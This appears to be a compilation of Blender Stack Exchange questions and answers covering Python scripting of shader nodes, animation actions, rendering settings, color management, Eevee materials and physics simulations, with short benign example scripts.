Blender 2.8 Python : How Do I Find My Material Output Node (and assign displacement) I am attempting to create a displacement node with an attached image, and connect that to the Main Material Output Node.

I feel I understand how to create and connect these pieces (mostly) fine now. But I am unable to locate/reference the original Material Output, OR how to make a new Material Output the assigned one.

Please forgive my code, it is a hacked attempt between many forums posts and my own understanding after 1 week into python and blender.

Thank you in advance
(code and pictures below)

Images:

What I want

What I have

Code

#Import python
import bpy
#Import additional refs
from bpy import context, data, ops

# Clear all nodes in a mat
def clear_material( material ):
    if material.node_tree:
        material.node_tree.links.clear()
        material.node_tree.nodes.clear()

# Create a node corresponding to a defined group
def instanciate_group( nodes, group_name ):
    group = nodes.new( type = 'ShaderNodeGroup' )
    group.node_tree = bpy.data.node_groups[group_name]

#ref materials
materials = bpy.data.materials
#name material
mat_name = 'DELETE_THIS_CODE'
# get ref to material
material = materials.get( mat_name )

#if not our mat
if not material:
    material = materials.new( mat_name )

# We clear it as we'll define it completely
clear_material( material )

material.use_nodes = True

nodes = material.node_tree.nodes
links = material.node_tree.links

output = nodes.new( type = 'ShaderNodeOutputMaterial' )

diffuse = nodes.new( type = 'ShaderNodeBsdfDiffuse' )

#input = nodes.new( type = 'ShaderNodeTexImage')

#With names
link = links.new( diffuse.outputs['BSDF'], output.inputs['Surface'])
#Or with indices
#link = links.new( diffuse.outputs[0], output.inputs[0] )

#______________________^^ multiple things above here might be deletable ^^_____________

#________________________________________________Adds img texture

#Create material named X
mat = bpy.data.materials.new(name="Mat_Tile")
#Set this material to use nodes
mat.use_nodes = True
#Add new Material output
#moNode = mat.node_tree.nodes.new('ShaderNodeOutputMaterial')
bsdf = mat.node_tree.nodes["Principled BSDF"]
texImage = mat.node_tree.nodes.new('ShaderNodeTexImage')
texImage.image = bpy.data.images.load("C:\\Users\\nmaestre\\Downloads\\Textures\\Downloaded\\Tile_00_Diffuse.png")
mat.node_tree.links.new(bsdf.inputs['Base Color'], texImage.outputs['Color'])

#reference selected object
ob = context.view_layer.objects.active

# Assign it to object
if ob.data.materials:
    ob.data.materials[0] = mat
else:
    ob.data.materials.append(mat)

#Add displace
dNode = mat.node_tree.nodes.new('ShaderNodeDisplacement')

#Make a normal map node
#nNode = mat.node_tree.nodes.new('ShaderNodeNormalMap')

#Displace Img
texImageNormal = mat.node_tree.nodes.new('ShaderNodeTexImage')
texImageNormal.image = bpy.data.images.load("C:\\Users\\nmaestre\\Downloads\\Textures\\Downloaded\\Tile_00_Normal.png")
#Attach imag to diplace node
mat.node_tree.links.new(texImageNormal.outputs['Color'], dNode.inputs['Normal'])

#connect the Displacement node to the Material Output node
mat.node_tree.links.new(dNode.outputs['Displacement'], bsdf.inputs['Normal'])

#__________________________Add unwrap

#uwrap node
tex_coord = nodes.new(type = 'ShaderNodeTexCoord')
#link to image texture
links.new(tex_coord.outputs["UV"], texImage.inputs["Vector"])

The Material Output can be retrieved by name or by type. If you know the name of the node and the variable nodes contains a reference to the nodes of the material's node tree, then you can access the Material Output node through a look up where the name is used as key:

material_output = nodes.get("Material Output")

A material may contain more than one Material Output node or it may have been renamed. In this case you could search for a node that is of type OUTPUT_MATERIAL.

material_output = None
for node in nodes:
    if node.type == "OUTPUT_MATERIAL":
        material_output = node
        break

In both cases it may happen that no Material Output node exists, for instance because you're working on an existing material where it was deleted. Therefore you need to check if material_output is None and if it is create a new node.

if material_output is None:
    material_output = nodes.new("ShaderNodeOutputMaterial")

When you're creating a new material from scratch you do know that both the Principled BSDF and Material Output nodes exist and you can access them by name.

In order to connect two nodes you need access to the material's node tree links. Assuming the variable links references these, you can add new links through the new() function. The first argument is the input socket of a node and the second argument is the output socket of a node.
Assuming that principled_bsdf would reference a Principled BSDF node and base_color an Image Texture node, you could connect them in the following way:

links.new(principled_bsdf.inputs["Base Color"], base_color.outputs["Color"])

The following code shows how to create your desired node setup by creating a new material which contains a Principled BSDF and Material Output node by default.

import bpy

# Define names and paths
material_name = "Example_Material"
base_color_path = "" # Add your path here
normal_map_path = "" # Add your path here

# Create a material
material = bpy.data.materials.new(name=material_name)
material.use_nodes = True
nodes = material.node_tree.nodes
links = material.node_tree.links

# Since you want a Principled BSDF and the Material Output node
# in your material, we can re-use the nodes that are automatically
# created.
principled_bsdf = nodes.get("Principled BSDF")
material_output = nodes.get("Material Output")

# Create Image Texture node and load the base color texture
base_color = nodes.new('ShaderNodeTexImage')
base_color.image = bpy.data.images.load(base_color_path)

# Create Image Texture node and load the normal map
normal_tex = nodes.new('ShaderNodeTexImage')
normal_tex.image = bpy.data.images.load(normal_map_path)

# Set the color space to non-color, since normal maps contain
# the direction of the surface normals and not color data
normal_tex.image.colorspace_settings.name = "Non-Color"

# Create the Displacement node
displacement = nodes.new('ShaderNodeDisplacement')

# Connect the base color texture to the Principled BSDF
links.new(principled_bsdf.inputs["Base Color"], base_color.outputs["Color"])

# Connect the normal map to the Displacement node
links.new(displacement.inputs["Height"], normal_tex.outputs["Color"])

# Connect the Displacement node to the Material Output node
links.new(material_output.inputs["Displacement"], displacement.outputs["Displacement"])

The following example is for editing an existing material:

import bpy

# Define names and paths
material_name = "Example_Material"
base_color_path = "" # Add your path here
normal_map_path = "" # Add your path here

# In case you're modifying an existing material you
# will have to check whether or not it contains a
# Material Output node. If it doesn't it has to be
# created.
material = bpy.data.materials[material_name]
material.use_nodes = True
nodes = material.node_tree.nodes
links = material.node_tree.links

# In case you don't know the name of the nodes you can also search
# by type. This can be useful when you edit an existing material
# where the nodes could've been renamed.

# Find the Material Output node, if it exists
material_output = None
for node in nodes:
    if node.type == "OUTPUT_MATERIAL":
        material_output = node
        break

# Perhaps the nodes hasn't been found then you'll have to create it
if material_output is None:
    material_output = nodes.new("ShaderNodeOutputMaterial")

# Create a Principled BSDF nodes
principled_bsdf = nodes.new("ShaderNodeBsdfPrincipled")

# Create Image Texture node and load the base color texture
base_color = nodes.new('ShaderNodeTexImage')
base_color.image = bpy.data.images.load(base_color_path)

# Create Image Texture node and load the normal map
normal_tex = nodes.new('ShaderNodeTexImage')
normal_tex.image = bpy.data.images.load(normal_map_path)

# Set the color space to non-color, since normal maps contain
# the direction of the surface normals and not color data
normal_tex.image.colorspace_settings.name = "Non-Color"

# Create the Displacement node
displacement = nodes.new('ShaderNodeDisplacement')

# Connect the base color texture to the Principled BSDF
links.new(principled_bsdf.inputs["Base Color"], base_color.outputs["Color"])

# Connect the normal map to the Displacement node
links.new(displacement.inputs["Height"], normal_tex.outputs["Color"])

# Connect the Principled BSDF node to the Material Output node
links.new(material_output.inputs["Surface"], principled_bsdf.outputs["BSDF"])

# Connect the Displacement node to the Material Output node
links.new(material_output.inputs["Displacement"], displacement.outputs["Displacement"])

If you want to assign the material to the active object in Blender 2.8x then the the following line can be added to either of the scripts above. We do not need to retrieve the material again, since we already have a reference to it in the variable material.

bpy.context.active_object.active_material = material


Is it possible to use one action for multiple objects? Just as the title says,
imagine you are building a glass sliding door,but you need to move both parts in the oppsite direction, but that creates 2 actions, is it possible to fuse these two into one?
To be neater.

Using armature for this may be a good solution.

CREATING AN ACTION FROM SCRATCH

Add an Armature-->Single Bone, duplicate it in Edit Mode (Shift+A) and place each bone on each separate object. Select the first object, then the second one and finally the Armature in Object Mode, then press Ctrl+P-->With Automatic Weights.

Keyframe the movement for each bone and make an action of it in NLA Editor. You now have one action for two separated objects.

USING THE EXISTING ACTIONS

In this case I've got three objects with three different animations/actions. I'll merge these into one single action using an armature.

Add Armature-->Single Bone and snap it to the origin point of the first object. Snap the cursor to the second object in Object Mode (Shift+S-->Cursor to Selected), then select the bone, enter Edit Mode and press Shift+A. It'll snap next bone to the second object. Repeat the same process with the third one as pictured below. Rotate all the bones in Edit Mode by 90 degress so they all stay horizontal.

In Pose Mode select the bone, go to the Bone Constraints header and give it a Copy Transforms constraint. Set the bones targets to the coresponding objects as pictured below. Now the bones are following the objects' animations.

Select all bones in Pose Mode (Shift+RMB), then go to Object Mode-->Tool Shelf (T)-->Animation-->Bake Animation. Check all the checkboxes in a window there, and set the Bake Data type to Pose. After clicking OK the new action in a NLA Editor'll appear.

Now you have the copied movement of the objects baked into the keyframes of the armature, so you don't need the objects' animations anymore. Delete each one in a Dope Sheet Editor.

Finally being in Object Mode select all the objects, then the armature and press Ctrl+P-->Set Parent-->With Automatic Weights. Push down an action in NLA Editor to create an action block on a strip.


Subdividing blender planes I wish to divide up a plane in the ratio 1:2:2 .. Can that be done?

Loop cuts seem to divide the plane equally and simply slide in the same proportion

Here is an example of what I meant in my comment above:

use the "loop cut and slide" (CRTLR) tool to create 4 cuts
then select the 2 pairs of vertices that you don't need, and "dissolve" them using CTRLX


Trying to add text to video, and the ouput only shows the final text, video never plays I have a project like this:

The 3D scene was just created it only contains a 2D text. it should play for 2 seconds, and then the video, but instead the text plays for the whole video. Even if I remove the text, then it will just be a greish video window, and the video I am trying to load never plays.
I need to close Blender, and add the video from fresh, but from the moment I play with a camera, my video is gone.
I am new to blender, so I guess there is something I am missing.
In the preview everything looks fine, and when I move my mouse around, the video looks fine. But when I click render, the output file will only contain the text.
I have also set the background of the text scene to transparent, and same behaviour.
Even If I remove that text scene, and then move the video to the start, then from that point on only that text scene will play. See:

If I start a project and just add this video, then it is fine.

In the project scene settings called Properties panel, make sure that you have Post Production > Sequencer active. Otherwise the VSE will not be rendered.


How to make object visible only inside another object? I am not such an expert, but also not completely noob and want to make animation like in this template: https://www.storyblocks.com/video/stock/new-business-corporate-promo-hl-kj1ijhk2tf55tw And want to make it in Blender
I already learned how to make radial sweep animation in this tutorial: https://www.youtube.com/watch?v=PUauJWWLqFI (very simple) and had success to make it be rectangle shape with help of this answer: https://blender.stackexchange.com/a/109005/46872
To not be completely spammer with links, below is result:
Whole procedure:

I created a plane, deleted 3 edges, left 1 edge and added screw modifier to this new object (to edge) so I can animate it like radial sweep:

I added the cube with hole in center. I set Object Properties > Viewport Display > Display As > Wire for this cube and unchecked Visibility > Renders.

I want that Plane (i.e. Edge with screw modifier) be visible only in region of cube body. I want it to be invisible as outside of cube, also in hole in center of cube.

As you can see on below screenshot, I had success only with invisibility outside of cube. Plane (i.e. Edge with screw modifier) is still visible through hole in cube center and I don't want it. Btw, material of Plane is also on below screenshot:

One more thing: I suppose there is maybe more simple way to accomplish my target - animation from linked video at the beginning of post, but as said, I'm not an expert, had no other idea and was started this way.
Please let me know if any additional info is needed and thanks in advance.

You can make parts of objects invisible using multiple tricks. Since your mesh is animated, it's probably not the easiest animating your material as well. As I get it, if you want to change the animation speed, you need to adjust the material separately. Anyways, here's how I would do it:

The sphere simply has a transparent shader set to blueish nothing else.
The cube is only visible if a ray has passed through a transparent shader. I guess you can also invert the sphere (animiation) and use a simple holdout shader on it, but I'm guessing that doesn't work for you for other reasons.


Is there a google sketchup mode? That blender would basically emulate a basic google sketchup interface, with grid snapping, mouse bindings, selectable surfaces, and all that jazz?

There is no one click button to make blender act just like sketchup, but most of what you want can be done.

To turn on grid snapping press Shift Tab.

By "Selectable surfaces" I think you would want to select a face. So in edit mode (Tab to toggle in and out of edit mode) press Ctrl Tab > Face.

All keyboard shortcuts and mouse actions can be changed through the user preferences. File > User Preferences or Ctrl Alt U then the Input tab.


Meshes are semi-transparent I was on wireframe view using the knife tool on a mesh and when I finished and went out of it I realized everything was semi-transparent and I don't know why. Here's a screenshot:

I want to know how I can turn everything back to normal

Toggle "X-Ray Mode" in the upper right-hand corner.


i want to create empty texture slots so i can add texture images later on I have a model and 3 texture images to go with it. But if i open the model in an editor (dota 2 model editor) it only shows 1 available texture slot. So i can pick one of the 3 texture images, but of course it looks really bad.

At first i could not open the model in blender (its in fbx) because it was too old. So i used fbx converter to convert to a more recent version.

The 3 objects are still there , separately but they have no texture slot assigned to them, like i usually see.

So my question is, how can i add individual texture slots to each of the 3 meshes, so that later on i can insert my already existing texture files separately.

EDIT : i use blender render

First you must make sure a material is assigned to your mesh. Then in the texture tab you can add as many textures as you please to the list at the top. Under the "Image" section you can open a file browser window to choose your textures.

If no texture is selected it should just show a big button to open an image.

You can then mix the textures or make them affect different properties, like normal and specular under the "Influence" section.


Why can't I select bones in pose mode I have a little problem-whenever I want to select a bone in pose mode, I select an object behind it instead. If I want to select the bone, I have to select it in edit mode and then switch to pose mode and that is realy slow and anoying. how can I fix this?

Make sure the bone you are trying to select is selectable.

In the below EYE_CTL cannot be selected:


Snapping doesn't seem to work on multiple objects I've been trying to duplicate and move a pillar in a tutorial and can't get the incrementsnapping to work when i select an additional block next to it.
Snapping is fine on the individual pillar and the single block if I move them by themselves but when I try to move them together the snapping seems to be working with another grid and won't let me snap to the rest of it.
I have used the absolute grid snapping box checked and unchecked and it does the same thing
I'm sure its me doing something wrong but can't really make sense of it as it seems to work fine when I move them individually.
I've included some screenshots that hopefully make it easier to understand

I happen to be on the same tutorial (I don't know how he doesn't have the same problem). I played around with it for a bit, and I found that, after duplicating all the blocks, selecting an odd number of columns/columnless tiles seems to remove the problem. Just select different numbers of blocks until it snaps properly and you should be fine.
If worse comes to worst, just move the blocks individually, it's not as big of a headache compared to doing the same thing with vertices.
P.S. Don't forget to add the roof spacing blocks.


How to make smoke flow in different direction? I am trying to make the smoke flow down from a mesh but at the same time go in the X and Y direction.

Here is what I mean:

The red lines indicate direction of the smoke.

Change the Temperature Difference in the Smoke Domain to a negative number.

Form the Blender Manual

Temperature Difference

  The Temperature Difference setting controls how much smoke is affected by temperature.

  The effect this setting has on smoke depends on the per flow object

  Values above 0 will result in the smoke rising when the flow object Temperature Difference is set to a positive value, and smoke sinking when the flow object Temperature Difference is set to a negative value.

  Values below 0 will result in the opposite of positive values, i.e. smoke emitted from flow objects with a positive Temperature Difference will sink, and smoke from flow objects with a negative Temperature Difference will rise.

  Note that smoke from multiple flow objects with different temperatures will mix and warm up/cool down until an equilibrium is reached.


Using Blender with wider gamut than 709 primaries (like ACES) There is a similar old unanswered question on this site with some vague comments (ACES workflow in Blender), so I'll ask it differently:

Is it possible to work in blender 2.8 with color spaces that use a wider gamut than Rec709?

Is blender's cycles still limited to Rec709 primaries only, or can it render images with wider gamuts?

Is the information on this link: Blender & ACES 1.2 accurate?, meaning that all it takes is to have a different config.ocio and the corresponding LUTS and set a system variable for OCIO, as stated also in ACES setup for blender using OCIO?

Additionally, I've found this article on how to work with Alexa Wide Gamut color space.
Is that the only color wide gamut space that is usable today?

I hope someone (like @troy_s) can shed some light on this. Thanks.

Short answer
Yes you can use ACES OCIO config in Blender, but...
@troy_s don't hesitate to correct mistakes or add infos to what follows.

Longer answer
I've just try it since 2 days, I've seen the new ACES 1.2 OCIO config pop up and decided to give it a try. At the begining I was quite enthusiastic, made some tests, more saturated, ACES config need adapting color values.
First problem
Since you can't change the colorspace of the color wheels, they are going completely crazy, click on a color of the wheel, then in HUE change the saturation, or click and drag on the wheel, it speaks for itself, if a dev read this, we really need to have color managed RGB color wheels as well as a better color picker... if we want to work with other colorspaces.
Knowing that I thought, ok I know this limitation, so I can be carefull and use only RGB channels to set my colors (a pain but I've tried it and managed to make an ACES test scene)
I was quite happy with the render result even if it looks a bit too saturated and then I realised that the glossiness looks less present, perhaps it's like Filmic that looks to desaturated at the beginning because we weren't used to it, for this part I don't know if it's something expected and normal or not.
However, today I've made tests with a chart image to see if it is correctly interpreted.
Second problem
Images aren't correctly converted. I have this sRGB chart as a base to see what a transfer from ACEScg color space to sRGB should look (sorry I never know if it's EOTF or OETF):

A screenshot of the convertion from ACEScg to sRGB, we can see is that it don't react very well:

Even in Resolve/Fusion it's not 100% correct:

Conclusion
I don't know if the color difference is a big deal for a normal scene, but it makes me doubt that it's a valid workflow inside Blender, for now. If someone see a mistake in my test let me know.
I will perhaps try a real scene to confirm all of that, but looks like for the time being, there is nothing better than this great Filmic OCIO config we already have.

Edit 1
In fact all of this makes me think that I understand a bit better my fist test with ACES.
I've made a simple scene only with shader colors, no textures, resulting in an oversaturated image.
What made me thought that, like Filmic at the begining we would have to adapt a bit the workflow, but now that I look at the wrong desaturation of the bars of the chart, it feels normal that I have an oversaturated image, and that it's not a workflow to adapt but that I'm fighting a wrong colorspace convertion.
The filmic scene:

And the ACEScg verions:

Edit 2
I've just understood some fundamentals things, and then read Troy's comment that confirm it.
I've made mistakes, and like he said I've learned a lot from them.
I will surely make more but perhapse all of this will help other to understand this so complicated topic.
What I've just realised is that ACES OCIO config doesn't map primaries to rec709 ones, it clamps them. So the desaturation of the top horizontal bars can't be something else, in fact I've ask someone to try with an other render engin (he tries with Guerilla render) I was shocked that it was the same.
And what we see on my test scene rendered in ACEScg is just that, clamped gamut, a bit like the clamped intensity of Blender's standard(sRGB) view transform but with gamut.
One other thing I've realised is that wider gamut isn't about having better color display on a standard monitor but having more colors to display to a wide gamut monitor and surely internals calculations. Perhaps it looks obvious but this topic has so much confusing part that I was thinking, converting from a colorspace to an other was also to match primaries from the first one to the other but it's not what ACES does.
So, can you use ACES OCIO config in Blender, yes, would I use it to have better images than with filmic, hell no. Even if Filmic isn't perfect, I think it's still better than to fight clamping gamut, unmanaged color wheels... and I don't think the cases where you would see a gain compare to Filmic worth the pain.
If you need ACES it's for other reasons.
I'll surely add more stuff here later when my knowledge grows, or perhaps add a new question on Stack Exchange, like for exemple converting rec709 values (or pointer's gamut ones) to ACEScg colorspace.


How to edit gaming videos for youtube with blender? someone told me that blender was good for editing youtube videos, but had a steep learning curve. I've looked for tutorials online, but most of them seem outdated, from a year or two ago. Could anyone possibly help me or explain how to use it? Thanks in advance!

Blender has a VERY steep learning curve when it comes to video editing. You should have some basic knowledge of blender before editing videos. But I have found this good tutorial, it should be easy for beginners, and it's up-to-date.

https://www.youtube.com/watch?v=42AQ_EtRVq4

If blender is too difficult I would recommend Kdenlive.


Can this low-light animation in Cycles be rendered sharply and in HD, and how? I am directing a series of animations in Blender in which the camera floats around dimly-lit rooms to reveal its contents.

The scenes are usually lit only by a couple of elements in the room, usually neon lights or emission objects, and usually contain transparency or reflection objects which are necessary to the scene.

Here is one example scene:

This image is the scene rendered as a single image, without too much noise 1000 samples at 50% of the default 1920 x 1080 resolution:

This render took 50 minutes.
Since the animation is 180 frames long, rendering it with these settings would take:

180 * 50 minutes = 6.25 days

This is obviously too long, especially since ideally I would like to make animations longer than 180 frames, add more reflection or transparency objects, and even render at 100% someday.
(The result is 2 days on my other computer, which is still a little too long for me).
Lower amount of samples (i.e. 300) are faster but obviously produce grainier results.

I've read many questions about this problem, both on Stack and elsewhere, and watched several tutorials, but most of them mostly recommend adding light sources to the scene, or disabling transparency/reflections or other modifications which I think would denature the scene.
I tried changing the Exposure, the emission strength, and other settings but it never really kept the scene's mood right.

I even considered just switching to another render engine, but feel that I need advice about that.

My question is: is it possible to render this scene in HD, and with as little grain as possible?

Please post examples of the results you get and how you achieved them.

To be honest, this scene is relatively light-weight already.
A single frame at 1000 samples at 50% resolution takes almost exactly 20 minutes on my CPU (a quad core intel xeon, though the clock rate is only 2.5 GHz). Naturally using a GPU (or both CPU and GPU at once) would help dramatically.
Rendering simply takes time. Even the giant renderfarms at ILM or pixar spend as much as four hours or more[better citation needed] rendering a single frame in some scenes.
If you want to render the scene exactly as it is in a short time frame, you might consider sending it off to a renderfarm such as SheepIt, a free distributed blender-specific renderfarm where blenderusers from all over the world donate and exchange their processing time.
Optimizations
For reference:
Default setup (100 samples, 40% resolution, frame 20):  1:19

As far as things you can do without changing the result go, this scene is already pretty optimized.
You can shave off a few seconds by reducing the bounces. (an optimization of a few seconds at preview resolution and samples can turn into minutes at full quality)
Reduced bounces: 0:59

Keep in mind that tile size can also have a sizable impact on rendertime, but the nature of this impact heavily depends on the scene and your hardware.

Scene changing optimizations
By using an arealamp to do the main illumination and dimming the letters, allowing the less-noisy area lamp do all the work, a lot of the noise is less noticeable. Adding a glare node helps cover the noise directly behind the letters somewhat:

Yes, the rendertime increased (thanks to the glare node), but now the result appears slightly less noisy.
Taking this to the extreme you could even make the letters visible only to the camera:

Now it's nearly at a point where you might be able to get away with 100 samples for the final render (you might still want to use 200-300 or so).

Other options

As mentioned above, use a renderfarm. Here's a list of renderfarms which support or even specialize in blender/cycles.

Render it overnight or in the background over the course a few weeks (perhaps using only a single core while using the computer for other things)

Bake the lighting for diffuse materials (only valid if no light sources are animated)


How do I reduce my file size? I have a .blend file that is almost 100mb (hence why I can't upload the file to blend-exchange.giantcowfilms).  I've been trying to append other 3 other objects into a new file, and the file is just so huge and slow.  I tried resizing everything to a much smaller size but that didn't change the file size.  I tried decimating everything too but that just made everything look horrible.

I've uploaded the file to google drive:

https://drive.google.com/file/d/0BzCN0fElYa3HVklHME5rYTdhazg/view?usp=sharing

How can I get this down to a decent file size?

Thanks

Have you turned on file compression?

Other Alternative would be to zip - trying to zip a already compressed file would make little difference - your file up and try other cloud services like dropbox or mega.co.nz. if your file is just too big.

If you file contains animated simulation data, it's wise to delete them before uploading the file. Also you will want to keep what is necessary to discuss the issue you were having, meaning deleting all the other elements that would not matter to the problems on hand.

CONCLUSION
78mb on the one circuit board object named "curve.001". It's the poor conservation of polygons. Meaning your object have too many polygon for it's purpose. The film strip object is too high res in the mesh count too, with very bad topology if you want it to bend nicely along a bezier curve.


Blender 2.8 Eevee - Removing Ambient Occlusion from specific object? Most of us know Eevee's Ambient Occlusion

My issue is I have models such has hair with its own custom normals and the AO in Eevee is causing it to look weird.

Is there a way to remove the AO effect from specific objects?  I thought it could be done using the AO node but im unsure.

Real time renders don't use real Ambient Occlusion, they uses SSAO - Screen Space Ambient Occlusion which is a depth based effect applied to the whole view.

As far as I know it can't be filtered or masked.

As a workaround render separate layers and combine them in post production.


Can't use "Knife Project" I tried to use the "Knife project" tool in order to shape a soda can ring but, even though I selected both the object supposed to cut and the object "to be cut", it only results in the message "No other selected objects found to use for projection", nothing else. What is causing this? How can I fix it? Thanks in advance.

Your shape seems closed, it looks like it can't work this way, so just open it:


How can I convert data from camera data node(view distance) into a file output(image or CSV or anything)? I am trying to extract the location(x,y,z) of the objects from the camera in my scene(highway scene -autobahn).
Note: I have imported the .obj file as my scene (obtained from elsewhere, not created by me) into the Blender and therefore the objects in my highway scene (like a car, tree, etc) do not show any values for location (x,y,z) in the viewport.
problem 1: But I need a sophisticated way to obtain the distance of all the objects of the scene elements from the camera, pixel-wise, to use it as ground truth for further application.
Methods I tried so far :

to create a driver that calculates the distance between two objects but unfortunately, it does not work because the location of the objects does not show as they are imported. it is always (0,0,0). Also, I cannot obtain pixel-wise distance.

use the depth render layer of the cycles render in Blender using the composting nodes and creating a node tree that calculates the distance writing it to the output file. This works! But I do not need a converted value, all I need is the Z-component of the distance to the camera. I followed the solution of using shader in this link How to get Z-distance (not depth) from camera to object for every pixel in the frame?. I am stuck in one place :

problem 2: While using shader nodes, I am unable to see the output of it. How can I extract the pixel-wise output into a file? I can build the node tree as shown in the image below, but I do not know how to proceed further. Please guide me on how to obtain the output into a file. Also, problem 3: I do not quite understand why I am multiplying the view vector with view distance? I followed the solution in the link but unable to understand this point.
This might be a trivial question but as I am a newbie in the computer graphics field, any leads would be extremely useful. Thank you in advance

Here's a small script that renders the scene and stores the Z_Pass into a CSV file, with {X, Y, Distance} in each entry.
All you need to do is paste this in the text editor and execute.
import bpy
import numpy as np

dest = 'C:/tmp/z_data.csv'
backgroundD = 10**10

def getCoordFn(x):
    def gc(i):
        return i%x, i//x
    return gc

def getpixelz(image):
    arr = np.array(image.pixels)
    pix = arr[0:-1:4]
    gc = getCoordFn(image.size[0])
    zpix = [(gc(i), d) for i, d in enumerate(pix) if d < backgroundD]
    return zpix

def writeCsv(data):
    with open(dest, 'w') as file:
        for p in data:
            file.write(f'{p[0][0]} , {p[0][1]} , {p[1]}\n')

def prepareRender():
    rn = bpy.context.scene.render
    rn.engine = 'CYCLES'
    rn.image_settings.file_format = 'OPEN_EXR'
    rn.image_settings.color_depth = '32'
    cl = bpy.context.scene.cycles
    cl.samples = 1
    cl.pixel_filter_type = 'BOX'

def prepareOutput():
    scn = bpy.context.scene
    scn.use_nodes = True
    bpy.context.view_layer.use_pass_z = True
    nt = scn.node_tree
    nt.nodes.clear()
    r = nt.nodes.new('CompositorNodeRLayers')
    v = nt.nodes.new('CompositorNodeViewer')
    nt.links.new(r.outputs['Depth'], v.inputs['Image'])

def execute():
    prepareRender()
    prepareOutput()
    bpy.ops.render.render()
    image = bpy.data.images['Viewer Node']
    writeCsv(getpixelz(image))

execute()

Note that this overwrites any setup you have in the compositor.


Can you make a bump map using grey scale after you texture paint? I'm working on an apple model and am about to texture it. I plan on using bump maps, reflection maps, etc. My only problem is that it would be much easier for me to texture paint the apple instead of using an image or such. What I was wondering if it's possible to turn the texture painting I do on the apple into a bump map using grey scale, or do I need to use an image directly?

It is possible to directly paint your bump maps and view it real time.

Its a little hard to see in the GIF but works perfect close up.

Here is a flat plane (Not subdived).

This is the render view

Just make a new image texture and make sure it is set to 50% grey, So when you paint white it bumps up and black bumps down.

This is what the image texture looked like after painting.


how to connect two nodes to one displacement output? I need to connect the math node to  the displacement output but its currently being occupied by a height map. how can I connect both of these?

Use a MixRGB node (more control) or a math node and select how you want to combine them.

Use clamp option if the values get to high (for example if you add them and you get higher values than 1).


Why can't I subdivide this face? So I want to subdivide this wall but whenever I try to subdivide this face the edge I have marked gets subdived for some reason.How can I fix this?

It appears you have zero surface faces along that wall in the corner denoted by square dots along the top corner edge. You will have to eliminated them as it interferes with the subdividing function.


"Cluster deformers" in Blender Does Blender have anything like Maya's (and, perhaps, C4D's) cluster deformer – the ability to group vertices and assign degrees of influence from the cluster parent to subsets of vertices in the cluster?

You can assign vertices to a vertex group and weight paint them accordingly, but what would be the analogue of the cluster parent here? A non-deforming bone?

It sounds to me like you're looking for the Hook modifier.


Animation nodes setup not rendering as it appears int the viewport I've been researching for a project and have developed a few techniques that I'd like to use. However one of them (a simplified version of which I've put into a linked zip) isn't rendering in cycles the same as it appears in the viewport or even in openGL render...

I can use the openGL as I'll do FX in post anyway but it'd be good to solve this issue as I would like to develop it further and without it rendering properly I'll be stuck when the client asks me why I can't :)

https://www.dropbox.com/s/7sv29eylova17jg/soundscape.zip?dl=0

Unfortunately you used a relatively bad practice for projects that need to be rendered in the end. Namely you created a feedback loop, meaning you use the same mesh as input and output.

You should try to build a node setup that calculates the whole result in each frame deterministically. The result in one frame should not depend on the results in previous frames.

This is problematic because, when rendering, the AN node tree might be executed more than once per frame.

Another thing you can try is to bake your mesh animation into an alembic file.


Relation between BI and Cycles lamp energy/emission values? I have two identical scenes, one in BI and one in Cycles. They both have point lamps in the same place (or, in the case of a linked scene, it's the same lamp with different settings in each). The BI lamp's strength is controlled by the Energy field. The Cycles lamp's strength is controlled by the Strength value of it's emission node. They are both pure white. All other settings are default.

What values of Energy and Emission strength will give me the same amount of light? Will other settings, such as Size in Cycles, change this? Does it depend on materials (assuming no other emitters/lights, or reflective surfaces, etc. Light bounces will also make a difference, but we can do this without those for now.)

For example, my Cycles version currently has an emission strength of 500. My BI version has energy of 1. The BI lamp seems to be significantly brighter than the Cycles!

Cycles is a physically based renderer, whereas Blender internal is not (it is a rasterizer I think), the two are fundamentally different, and hence no real relationship can be established between them.

Lamps in Cycles physically accurate, emission node intensity is specified as power in Watts, according to the manual, the exception being the sun lamp, which uses a power per area notation instead, as in Watts/m2, as stated in the previous link.

Blender Internal Render lamps are specified as an energy value from 0.0 to 10.0, which has no immediate real world physical connection, as far as I know.

While it is probably possible to establish some sort of "visual correspondence" between two lamps using an equivalent scene as reference, it is probably hard to establish any sort of mathematically correct one.

From there lamp power will likely progress linearly for both cases, so changing one for X units will probably have a similar effect in both scenes, so it may be possible to establish some sort of directly proportional relationship between the two.

As Cegaton mentions, other than that film settings like exposure, and color management and post processing will also have a noticeable impact in scene lighting.


Animated Gradient Node? I'm working on a knob with some LEDs around it.
When the knob is all the way at 0-position only the top and bottom LEDs are on and when all the way to the right 100% all the LEDs will be on.
(the LEDs are just an image texture with some bump. With one node of a turned-off LED and one node of a LED material that is glowing.)
The way I'm planning on animating this effect is to have a Gradient node controlling the mix fac of a Mix node. My question is how do I get the gradient "butterfly pattern" of the mix fac?

Pic 1, the knob at 0, top and bottom LEDs are on
Pic 2, the knob at 50%
Pic 3, the way the knob looks.

Not sure if i understood the request correctly, but that's the result (don't know if I'm allowed to post gifs):

And that's the nodes:


Rigid body objects not interacting with animated deforming mesh I am new to using physics simulations in Blender, and I am having trouble setting up a rigid body physics with an armature deformed mesh in the scene. Basically, I have an animated mesh of a fridge spewing groceries on the floor, except without the groceries at the moment. I want these objects to begin inside the fridge since there is a hollow space inside it, and stay in there until the fridge door is opened later in the animation.

Currently, it seems the active rigid body objects don't interact correctly, or at all, with the fridge which is set as a passive rigid body. All the objects are set as Mesh for their shapes.
I have included pictures of the settings I currently have for both the animated fridge, and a grocery object. All the groceries have the same settings, except for mass.

I have messed around with a whole lot of settings in the physics tabs for the objects, but I honestly dont know what I am doing.
If you know any solutions to my problem, please let me know!

For Fridge (Passive) enable Animated. If Groceries didn't stay inside on Fridge move it can be because Fridge moves too fast, and some subsets would be needed for simulation - Scene Properties > Riggid Body World > Steps Per Second - increase  value.

Note: Second gif looks like you have a hidden Cube with Passive Riggid Body in a Scene.


My glass material isn't transparent in Eevee When using Eevee, an object with a glass material (in this case: Principled BSDF, trasmission set to 1.0) doesn't seem like it can be looked through: it's completely opaque.

See for instance the material for the blue cube in this scene:

How can I get my glass material to be transparent?

By default, some options that require extra computing efforts are turned off in Eevee and they must be turned on manually.

In the case of a refractive object, you must enable:

Under the Render settings, Screen Space Reflections and, within it, Refraction. manual.

Then, in each of your refractive materials' Material settings, you should enable Screen Space Refraction. manual.

If your material has some kind of Alpha transparency (e.g. a Transparent BSDF shader), you should also select a suitable Blend Mode. manual.


